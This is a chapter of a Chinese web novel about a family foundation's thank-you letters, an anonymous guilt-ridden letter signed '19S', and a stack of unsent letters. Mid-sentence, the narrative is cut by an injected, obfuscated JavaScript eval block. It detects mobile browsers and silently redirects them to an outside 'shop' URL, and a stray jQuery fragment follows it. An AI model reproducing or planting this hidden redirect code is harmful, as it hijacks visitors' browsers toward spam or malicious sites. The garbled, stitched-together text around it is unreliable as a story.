子夜时分，宅邸仅余几盏壁灯氤氲着朦胧光晕，宛若守夜人惺忪的睡眼。
许孜言回到家里，发现二楼的书房还亮着灯。
许孜言感到意外，这个时间，苏宥宁通常已经休息。
书房内，仅一盏蒂芙尼古董阅读灯洒下温柔的光。
苏宥宁并未端坐书案之后，而是闲靠在临窗的沙发里，一袭柔软的喀什米尔披肩流泻而下。
她面前的黑檀木矮几上，静置一只敞开的、颇具岁月的藤编珍藏匣。里头叠放齐整的信函雪浪般充盈着。
“妈，还没睡？”许孜言轻声走近。
苏宥宁抬起头，灯光在她依旧美丽的脸上投下柔和的阴影。
她笑了笑，招手让他过来：“不困。来看看这些，刚整理好，想着你回来或许愿意看看。”
“看了这些，应该觉得我们做的事情，很有意义。”
许孜言在她身旁坐下，目光落在那箱信件上。
“都是这些年来，基金会陆陆续续收到的谢函。”苏宥宁语音轻柔，蕴着一种欣慰的慨叹，“有些来自内陆山隅的村小学，有些出自本地的康复中心，还有远渡重洋来自海外合作福利院，都是那些孩子的笔迹。”
信封各异，有的色彩斑斓，绘着稚拙的旭日与繁花，有的质朴无华，甚至携着远途辗转的缱绻折痕。
纸也一样，有田字格作业纸，亦有打印工整的英文信纸。
孩子们的字迹歪歪扭扭，或用拼音标注，或夹杂着简单的英文单词，表达着最纯粹质朴的感谢。
许孜言一封封细细看着，不过多久，苏女士轻拍他的肩，示意自己先去休息了，也让他看完早些睡。
最后，他的指尖拂过箱底时，触感变了。
许孜言看过去，那是一张截然不同的信纸。
没有信封的保护，直接混在一叠信件之中。
纸张本身是一种略显粗糙的米白色，边缘已有轻微磨损和泛黄，透出一种历经时光的旧意。与周围那些或崭新或童趣的信封相比，它显得格格不入，像是一个误入的、沉默的异类。
信纸上的字迹是英文，书写工整，却透着一股属于少年的、竭力想保持稳重却仍显青涩的笔力。没有称呼，没有落款的具体人名，只有顶端一行极其突兀的数字：
19:23:05
精确到秒的时间，像一个凝固的瞬间，无端地透出一种执拗的郑重。
“Iknowitisnotenough.Notnearlyenoughtocoverthedebt.
Thesightof…whatIcaused…hauntsme.
Istolesomethingpreciousthatday.Notjusthealth.Peace.
Iamsorry.Sosorry.
Thishelpyougive…itisagoodthing.
Perhapssomelightcaefromthatdarkness.Thankyou.FordoingwhatIcannot.”
（我知道这远远不够。不足以弥补亏欠。那日的景象……我所造成的……至今没办法忘记。
我偷走了某种珍贵之物，不仅是健康，还有安宁。
我很抱歉。
万分抱歉。
你所给予的帮助……是善举。
或许光芒终能驱散那片黑暗。
真的很感谢你。做了我没办法做到的事。）
这封信的语气、内容，与箱中其他所有的感谢信都迥然不同。
没有孩童的天真喜悦，没有对具体受助物品的描述，只有沉重到几乎窒息的愧疚，一种痛苦，以及模糊的、指向某个未知事件的指向性。
落款处，只有一个简洁又古怪的署名：19S
不是真名，不像代号，不似日期。
跟在数字后那个略显扭曲的S，仔细看，笔画像是在模仿数字4。
许孜言看了很久，最后将它放在所有信的最上面。
窗外夜已深。
与此同时，港岛另一端。
主卧里只亮着一盏孤灯，照亮红木桌的一角。
那晦暗难明的暗格深处，是满满一叠墨水书信。
10:01:08,11:14:22……一年年，一月月，直至近年，20:19:03。笔迹也从青涩变得日渐锋利、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096670|195644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉稳。
每一张纸，每一道墨迹，都以不同的方式，诉说着同一份无法宣之于口的愧疚与无法磨灭的关注。
它们从未被寄出，唯一一张远航的纸页也不知走向何处。
它们被小心地收藏在这里，如同收藏着一个人内心深处最不敢触碰的角落与最炽热也最无望的秘密。
十八年，几千个日夜，这些未能送出的文字，是独自进行的一场漫长而沉默的忏悔，也是一座建立在心牢之上、无人知晓的纪念碑。
纸笔不写日期，只有分秒的遗憾。
许孜言看完信的那一晚罕见的失眠了。
过了几日，中环，兆昌央廷大厦顶层。
阳光透过巨大的落地玻璃幕墙，将极简而昂贵的办公室照得通透明亮，却驱不散室内某种凝滞的气氛。
何翎丞听着二助呈报的数据，声音听不出任何情绪：“条款再压三个点，逼他们尽快松口。”
“明白。”二助是位干练的女性，从善如流地接话。
季道林的电话响起来，他没接，赶着下一个会议。
窗外太阳高悬的午后，何翎丞才看见对方发来的短信。
“许生前天亲口说的感谢，我想他在说你资助的事。有没有后悔没留下？”
“你和他说是我做的？”
季道林半天没回。
即使知道，但何翎丞的关注点每次都能让他吃惊。
“……”
“没有。”
还好没说，心理上的哑巴根本谈不上恋爱，帮了也是倒忙。
“你事情快处理完了吧。”季道林问，“董温瑜昨天澳门飞纽约，她还以为你没几天待这里，早就回去了。结果你不在。”
“准备在港城待多久。”
何翎丞一时半会没回复，昨天何玟旖和他见了一面，她的意思是再多留几天，不想他这么早走。
何玟旖有着和他最相近的相貌，身体里流着同支的血液，也是最关心他的。
更是为数不多能管得住何翎丞的人。
“看情况，应该不会太早回去。”
“我知道了，玟旖劝的。”
“……”
何翎丞退出了对话框，无声叹了一口气。